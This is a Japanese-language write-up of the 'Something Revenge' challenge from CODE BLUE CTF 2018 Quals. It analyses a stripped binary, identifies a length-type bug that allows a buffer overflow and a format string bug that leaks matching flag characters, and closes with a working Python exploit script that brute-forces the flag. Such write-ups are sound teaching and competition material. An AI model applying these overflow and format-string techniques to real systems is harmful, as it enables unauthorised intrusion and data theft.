CODE BLUE CTF 2018 Quals Write-up

[CODE BLUE CTF 2018 Quals](https://score.ctf.codeblue.jp/problems?locale=en)

Something Revengeのwrite-up

# Something Revenge

```

  /$$$$$$                                            /$$$$$$$                                                              /$$$$
 /$$__  $$  /$$/$$   /$$/$$   /$$/$$   /$$/$$       | $$__  $$                                                            /$$  $$
| $$  \__/ |  $$$/  |  $$$/  |  $$$/  |  $$$/       | $$  \ $$  /$$$$$$  /$$    /$$ /$$$$$$  /$$$$$$$   /$$$$$$   /$$$$$$|__/\ $$
| $$ /$$$$ /$$$$$$$ /$$$$$$$ /$$$$$$$ /$$$$$$$      | $$$$$$$/ /$$__  $$|  $$  /$$//$$__  $$| $$__  $$ /$$__  $$ /$$__  $$   /$$/
| $$|_  $$|__ $$$_/|__ $$$_/|__ $$$_/|__ $$$_/      | $$__  $$| $$$$$$$$ \  $$/$$/| $$$$$$$$| $$  \ $$| $$  \ $$| $$$$$$$$  /$$/
| $$  \ $$  /$$ $$   /$$ $$   /$$ $$   /$$ $$       | $$  \ $$| $$_____/  \  $$$/ | $$_____/| $$  | $$| $$  | $$| $$_____/ |__/
|  $$$$$$/ |__/__/  |__/__/  |__/__/  |__/__/       | $$  | $$|  $$$$$$$   \  $/  |  $$$$$$$| $$  | $$|  $$$$$$$|  $$$$$$$  /$$
 \______/                                           |__/  |__/ \_______/    \_/    \_______/|__/  |__/ \____  $$ \_______/ |__/
                                                                                                       /$$  \ $$
                                                                                                      |  $$$$$$/
                                                                                                       \______/

If there is one thing I've learned about CTFs it is that people love guessing challenges.
So we thought, why not skip the middleman and just have players guess the flag directly.
I hope you have fun ;)

flag (1/3):
```

```
$ file smth_revenge
smth_revenge: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d53be898817b6bc2b1fe69cbd1ce8ba8882d76fb, stripped
```

x64のstrippedなバイナリが与えられる．libcはない．

## 解析

大雑把な動作は

1. フラグファイルを`open`する
2. フラグファイルを`mmap`する
3. `prctl`で`seccomp`を設定し，`open`や`execve`などを使えなくする
4. `read`で入力を受け取る
5. フラグと入力を比較する
6. 4-5を全部で3回行う
7. フラグを`munmap`
8. フラグファイルを`close`

また，出力用に簡単な`printf`が実装されていて，%d, %c, %nが使える．
大体の挙動は`printf`と同じだが，%nは指定アドレスに書き込むのではなく，引数に直接書き込んでしまう．

## バグ
1つめのバグは`read`の長さを決める`max_read`変数にあり，この値は毎回更新されているが，ポインタの参照外しをするときに型を間違えている．
この大きさを表す`maxlen`は本来は2バイトなのに4バイト整数として渡してしまっている．
![type_size.png](https://qiita-image-store.s3.amazonaws.com/0/266861/ca0deb3f-82e3-33aa-1c72-f6ca354cbc89.png)![maxlen.png](https://qiita-image-store.s3.amazonaws.com/0/266861/246e9316-1d31-556a-b1e9-030c0b578a7a.png)

`nretry`はflagになにも入力せずやり直しになった回数を表していて，`maxlen`はこれを巻き込んで解釈されるので，
1回やり直すことで，とても長い`read`ができてBuffer Overflowする．




2つめのバグは入力したフラグが正しくなかった場合に入力をオウム返しする部分にFormat String Bugがある．

## 解法
真のフラグとユーザが入力したフラグを比較する部分で，最初に間違っていた値がdlに入ったままFormat String Bugが起きる．
![compare_loop.png](https://qiita-image-store.s3.amazonaws.com/0/266861/289f5597-91c1-8270-3f17-77e5a901218b.png)


これによって，入力したフラグがどこまで合っていたかわかるので，端からフラグの文字列を特定していくことができる．
まとめると，
1. わざと`'\n'`だけ入力して，1回やり直す．
2. bofを使って変数を書き換えてループをほぼ無限回に増やす．
3. 左端から1文字ずつ総当りして，フラグを特定する．
これを自動化するスクリプトを書いてサーバに持って行って実行する．

```remote.py
#!/usr/bin/env python2
# -*- coding: utf-8 -*-

from subprocess import Popen, PIPE
from struct import pack
import signal

class Process:
    def __init__(self, argv):
        self.p = Popen(argv, stdin=PIPE, stdout=PIPE)
    def send(self, data):
        self.p.stdin.write(data)
    def recv(self, n):
        return self.p.stdout.read(n)
    def recvuntil(self, delim):
        data = ''
        while not data.endswith(delim):
            data += self.recv(1)
        return data
    def sendline(self, data):
        self.send(data + '\n')
    def terminate(self):
        self.p.terminate()

def p64(n):
    return pack('<Q', n)

def raise_exception(sig):
    raise Exception

to_saved_rbp = 0x140 - 0xa0
flag_length = 0x80

def main():
    signal.signal(signal.SIGALRM, raise_exception)
    tube = Process(['./smth_revenge'])
    print('retry once')
    tube.recvuntil('): ')
    tube.send('\n')
    print('overwrite the loop counter')
    tube.recvuntil('): ')
    loop_counter = p64(0xf0000000f0000000)
    tube.sendline('A' * (to_saved_rbp-8) + loop_counter)
    print('try candidates')
    flag = 'CBCTF{' + '\xff' * (flag_length - len('CBCTF{')) + '%c\xfe%c'
    for i in range(len('CBCTF{')+1, flag_length):
        for char in range(0x20, 0x7f):
            if chr(char) == '%':
                continue
            flag = flag[:i-1] + chr(char) + flag[i:]
            tube.recvuntil('): ')
            tube.sendline(flag) # send flag
            signal.alarm(1) # set alarm
            try:
                tube.recvuntil('\xfe')
            except Exception: # correct flag
                break
            signal.alarm(0) # turn off alarm
            data = tube.recv(1) # read the first wrong char from beginning
            if data == '\xff': # correct char
                break
        if chr(char) == '}': # end of the flag
            break
    print(flag[:i])
    tube.terminate() # Don't forget to kill the process

# execute this on the remote server
if __name__ == '__main__':
    main()
```